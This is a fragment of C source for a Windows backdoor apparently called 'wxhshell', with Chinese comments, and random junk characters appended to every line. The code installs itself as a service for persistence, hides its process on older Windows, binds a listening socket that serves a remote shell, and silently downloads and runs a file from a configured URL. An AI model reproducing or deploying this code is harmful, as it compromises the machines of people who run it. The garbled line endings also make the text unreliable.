ULONG UniqueProcessId; <(_Tanx9Q
ULONG InheritedFromUniqueProcessId; {6O}E9
} PROCESS_BASIC_INFORMATION; P @J)S ?
~xv3R
PROCNTQSIP NtQueryInformationProcess; K%W;-W*'
zf]e"e
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; OnU-FX<
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'BUfdb8d
&'`ki0Xh;
HANDLE hProcess; NHQoP&OG
PROCESS_BASIC_INFORMATION pbi; DZ1.Bm0
)G;Hf?M
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); upaQoX/C
if(NULL == hInst ) return 0; ESk:$`P
$E!f@L
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); LqO=wK~
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c^cr_i
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `Z#':0Z
/MMnW$)
if (!NtQueryInformationProcess) return 0; #C'E'g0
*VHWvj
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A^$xE6t
if(!hProcess) return 0; Pe-rwM
8_ascvs5
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j/q&qrlL
+]( #!}oH
CloseHandle(hProcess); acar-11_o/
L0I|V[
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <CJy3<$u
if(hProcess==NULL) return 0; 86 9sS
7KGb2V< t
HMODULE hMod; $-|$4lrS
char procName[255]; {2QP6X sJ
unsigned long cbNeeded; 0~+*$W
B'mUDW8\D
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :>0,MO.^~K
MBLDxsZ-
CloseHandle(hProcess); 6tjV^sjs
}#;.b'`
if(strstr(procName,"services")) return 1; // 以服务启动 K<r5jb
I;1)a4Xc4R
return 0; // 注册表启动 4"3.7.<Q`
} }D?qj3?bj
SSbx[<E3
// 主模块 ^7*7^<
int StartWxhshell(LPSTR lpCmdLine) MslgQmlM
{ Q, "8Ty
SOCKET wsl; I}f7|hYX
BOOL val=TRUE; f& \Bs8la
int port=0; $pKegK;'z
struct sockaddr_in door; xX9snSGz
dz>Jl},`k
if(wscfg.ws_autoins) Install(); X 5X D1[
|H]0pbC)w
port=atoi(lpCmdLine); 1G67#L)USq
#0Uz1[
if(port<=0) port=wscfg.ws_port; o2hk!#5[4
[c lwmx
WSADATA data; A|]#b?-
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'x<oILOG
: 2$*'{mM
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 9[W >`JKo
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e ky1}
door.sin_family = AF_INET; gHkHAOe/
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?Bl/bY$*h
door.sin_port = htons(port); H'7s`^-
>I
()w;~$J
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `S5::U6E
closesocket(wsl); {]Cn@.TPD
return 1; $.:x3TsA
} }~NXiUe
w
El-
if(listen(wsl,2) == INVALID_SOCKET) { CEBG9[|
closesocket(wsl); `m8WLj
return 1; ?E(X>tH
} !f&hVLs0
Wxhshell(wsl); <2]D3,.g.
WSACleanup(); _ WPt
zL
$cc]Av4c2
return 0; U 8p %MFD
6$f\#TR
} 80T2EN:$
lUA-ug! ^
// 以NT服务方式启动 WC37=8mA
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <%`Rku
{ :<k
(y?GB
DWORD status = 0; ZBFn
DWORD specificError = 0xfffffff; km][QEXs%
~(yW#'G
serviceStatus.dwServiceType = SERVICE_WIN32; L|:CQ
serviceStatus.dwCurrentState = SERVICE_START_PENDING; /#&jF:h
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2"6qg>]-t
serviceStatus.dwWin32ExitCode = 0; ;Zj(**#H
serviceStatus.dwServiceSpecificExitCode = 0; _Gaem"k|
serviceStatus.dwCheckPoint = 0; S-ZN}N{,6
serviceStatus.dwWaitHint = 0; w)RedJnf
_Y/*e<bU
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #qR 6TM&;
if (hServiceStatusHandle==0) return; 5XzsqeG|
A+frKoi
status = GetLastError(); 'RF`XX
if (status!=NO_ERROR) @V:Y%#%
{ z}.6yHS
serviceStatus.dwCurrentState = SERVICE_STOPPED; ~:U`^wtQ
serviceStatus.dwCheckPoint = 0; -Ah&|!/
serviceStatus.dwWaitHint = 0; \=[j9'N>
serviceStatus.dwWin32ExitCode = status; NP.i,H
serviceStatus.dwServiceSpecificExitCode = specificError; C984Ee
SetServiceStatus(hServiceStatusHandle, &serviceStatus); W[a"&,okqO
return; '6e4rn{
} zxIP-QaA
Y*p<\{,oC
serviceStatus.dwCurrentState = SERVICE_RUNNING; U6*[}Ww
serviceStatus.dwCheckPoint = 0; ' (XB|5
serviceStatus.dwWaitHint = 0; *]h"J]
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2<p@G#(
} k9<UDg_ Y
E
i>GhvRM
// 处理NT服务事件,比如:启动、停止 WiB~sIp
VOID WINAPI NTServiceHandler(DWORD fdwControl) d!}oS<6
{ XEagN:
switch(fdwControl) x-ue1
{ jpS$5Ct
case SERVICE_CONTROL_STOP: ]];pWlo!
serviceStatus.dwWin32ExitCode = 0; {:VK}w
serviceStatus.dwCurrentState = SERVICE_STOPPED; JC->
eY"O2
serviceStatus.dwCheckPoint = 0; d=8.cQL:E
serviceStatus.dwWaitHint = 0;
:TR:tf
{ ceD6q~)
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^Go,HiB
} =3A4.nW
return; c2,g%(
case SERVICE_CONTROL_PAUSE: E8"&gblg
serviceStatus.dwCurrentState = SERVICE_PAUSED; 5#N<~
break; +>;Ux1'@
case SERVICE_CONTROL_CONTINUE: |e+3d3T35
serviceStatus.dwCurrentState = SERVICE_RUNNING; !L
q'o?
break; "\`Fu
case SERVICE_CONTROL_INTERROGATE: c}|.U
break; z~tdLtcX
}; "aI)LlyCY
SetServiceStatus(hServiceStatusHandle, &serviceStatus); i>[xN[U(
} M*D_pn&
Tp{jR<
// 标准应用程序主函数 1#7|au%:)
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |4P8N{ L>O
{ rl~Rb i
~TXu20c
// 获取操作系统版本 p-)@#hE
OsIsNt=GetOsVer(); pX*E(Q)@!
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3D!7,@&>3
$ta JVVF
// 从命令行安装 4&%H;Q
if(strpbrk(lpCmdLine,"iI")) Install(); |6DJ5VFzD
, %8)I("
// 下载执行文件 p{W
Amly
if(wscfg.ws_downexe) { yufw}Lo-
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +J;b3UE#
WinExec(wscfg.ws_filenam,SW_HIDE); +;,J0,Yn
} WQ.{Ag?1
t?)]xS)
if(!OsIsNt) { %mU$]^Tw(
// 如果时win9x,隐藏进程并且设置为注册表启动 1@ &J"*
HideProc(); dmv0hof
StartWxhshell(lpCmdLine); &08dW9H
} Lb<IEy77\
else x|Pz24yP9
if(StartFromService()) IemhHf ^l
// 以服务方式启动 4q7H
StartServiceCtrlDispatcher(DispatchTable); 4|I;z
else Ja4M@z
// 普通方式启动 &v1E)/q{Z
StartWxhshell(lpCmdLine); }qoId3iY!7
r(Z?Fs/
return 0; Gf9sexn]l
}